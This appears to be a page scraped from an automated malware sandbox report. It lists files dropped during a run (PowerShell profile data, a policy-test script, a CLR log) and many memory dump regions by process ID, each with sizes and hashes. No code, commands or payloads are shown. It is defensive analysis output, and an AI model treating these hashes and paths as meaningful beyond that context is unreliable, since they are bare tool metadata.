Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
80b63fd6cfad1ab8f918129209a13797

SHA1
911e2f7513a5b3d3034390178247fa4c02e965d4

SHA256
0f7a2c194b38f60751ca7938193afde8116380e419653011156200d33334576a

SHA512
5d85bee53da2769f56fd16a780a3bc695e4181e008c25c21b32aab65bbc4e7bda02d38304ceb5b1c3dae70a1aafe4c76869677ba2c592413c7b8f27cd385b8d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dusp1twa.xjc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/544-15-0x00007FFAC8DD0000-0x00007FFAC9891000-memory.dmp

Filesize
10.8MB

Download
memory/544-11-0x00007FFAC8DD0000-0x00007FFAC9891000-memory.dmp

Filesize
10.8MB

Download
memory/544-1-0x00000171D7350000-0x00000171D7372000-memory.dmp

Filesize
136KB

Download
memory/544-12-0x00000171BB470000-0x00000171BB480000-memory.dmp

Filesize
64KB

Download
memory/1576-31-0x00007FFAC8DD0000-0x00007FFAC9891000-memory.dmp

Filesize
10.8MB

Download
memory/1576-29-0x000001C0A59E0000-0x000001C0A59F0000-memory.dmp

Filesize
64KB

Download
memory/1576-28-0x000001C0A59E0000-0x000001C0A59F0000-memory.dmp

Filesize
64KB

Download
memory/1576-27-0x00007FFAC8DD0000-0x00007FFAC9891000-memory.dmp

Filesize
10.8MB

Download
memory/1816-120-0x00007FF76BA60000-0x00007FF76BC71000-memory.dmp

Filesize
2.1MB

Download
memory/1816-99-0x00007FF76BA60000-0x00007FF76BC71000-memory.dmp

Filesize
2.1MB

Download
memory/1816-50-0x00007FF76BA60000-0x00007FF76BC71000-memory.dmp

Filesize
2.1MB

Download
memory/2164-0-0x00007FF7DCE10000-0x00007FF7DD021000-memory.dmp

Filesize
2.1MB

Download
memory/2164-33-0x00007FF7DCE10000-0x00007FF7DD021000-memory.dmp

Filesize
2.1MB

Download
memory/2988-34-0x00007FFAC8DD0000-0x00007FFAC9891000-memory.dmp

Filesize
10.8MB

Download
memory/2988-49-0x00007FFAC8DD0000-0x00007FFAC9891000-memory.dmp

Filesize
10.8MB

Download
memory/2988-45-0x000002E6F2430000-0x000002E6F2440000-memory.dmp

Filesize
64KB

Download
memory/2988-35-0x000002E6F2430000-0x000002E6F2440000-memory.dmp

Filesize
64KB

Download
memory/3200-124-0x00007FF608580000-0x00007FF608596000-memory.dmp

Filesize
88KB

Download
memory/3200-131-0x00007FF608580000-0x00007FF608596000-memory.dmp

Filesize
88KB

Download
memory/3832-51-0x00007FFAC8DD0000-0x00007FFAC9891000-memory.dmp

Filesize
10.8MB

Download
memory/3832-78-0x0000021530810000-0x0000021530818000-memory.dmp

Filesize
32KB

Download
memory/3832-79-0x0000021530840000-0x0000021530846000-memory.dmp

Filesize
24KB

Download
memory/3832-80-0x0000021530850000-0x000002153085A000-memory.dmp

Filesize
40KB

Download
memory/3832-81-0x000002152DFE0000-0x000002152DFF0000-memory.dmp

Filesize
64KB

Download
memory/3832-84-0x00007FFAC8DD0000-0x00007FFAC9891000-memory.dmp

Filesize
10.8MB

Download
memory/3832-77-0x0000021530860000-0x000002153087A000-memory.dmp

Filesize
104KB

Download
memory/3832-76-0x0000021530800000-0x000002153080A000-memory.dmp

Filesize
40KB

Download
memory/3832-75-0x0000021530820000-0x000002153083C000-memory.dmp

Filesize
112KB

Download
memory/3832-74-0x00000215303D0000-0x00000215303DA000-memory.dmp

Filesize
40KB

Download
memory/3832-73-0x0000021530600000-0x00000215306B5000-memory.dmp

Filesize
724KB

Download
memory/3832-72-0x00000215305E0000-0x00000215305FC000-memory.dmp

Filesize
112KB

Download
memory/3832-62-0x000002152DFE0000-0x000002152DFF0000-memory.dmp

Filesize
64KB

Download
memory/3832-52-0x000002152DFE0000-0x000002152DFF0000-memory.dmp

Filesize
64KB

Download
memory/3984-111-0x0000017929550000-0x0000017929560000-memory.dmp

Filesize
64KB

Download
memory/3984-96-0x0000017929550000-0x0000017929560000-memory.dmp

Filesize
64KB

Download
memory/3984-110-0x0000017929550000-0x0000017929560000-memory.dmp

Filesize
64KB

Download
memory/3984-109-0x00007FF4EA700000-0x00007FF4EA710000-memory.dmp

Filesize
64KB

Download
memory/3984-97-0x0000017929550000-0x0000017929560000-memory.dmp

Filesize
64KB

Download
memory/3984-113-0x00007FFAC8DD0000-0x00007FFAC9891000-memory.dmp

Filesize
10.8MB

Download
memory/3984-95-0x00007FFAC8DD0000-0x00007FFAC9891000-memory.dmp

Filesize
10.8MB

Download
memory/5092-142-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-152-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-125-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-126-0x000001F1925A0000-0x000001F1925C0000-memory.dmp

Filesize
128KB

Download
memory/5092-127-0x000001F1925C0000-0x000001F1925E0000-memory.dmp

Filesize
128KB

Download
memory/5092-129-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-130-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-122-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-132-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-134-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-135-0x000001F1925A0000-0x000001F1925C0000-memory.dmp

Filesize
128KB

Download
memory/5092-136-0x000001F1925C0000-0x000001F1925E0000-memory.dmp

Filesize
128KB

Download
memory/5092-138-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-140-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-121-0x000001F191F70000-0x000001F191F90000-memory.dmp

Filesize
128KB

Download
memory/5092-144-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-146-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-148-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-150-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-123-0x000001F191FF0000-0x000001F192030000-memory.dmp

Filesize
256KB

Download
memory/5092-154-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-156-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-158-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-160-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-162-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-164-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-166-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-168-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-170-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-172-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-174-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-176-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-178-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-180-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-182-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-184-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download
memory/5092-186-0x00007FF765B10000-0x00007FF766304000-memory.dmp

Filesize
8.0MB

Download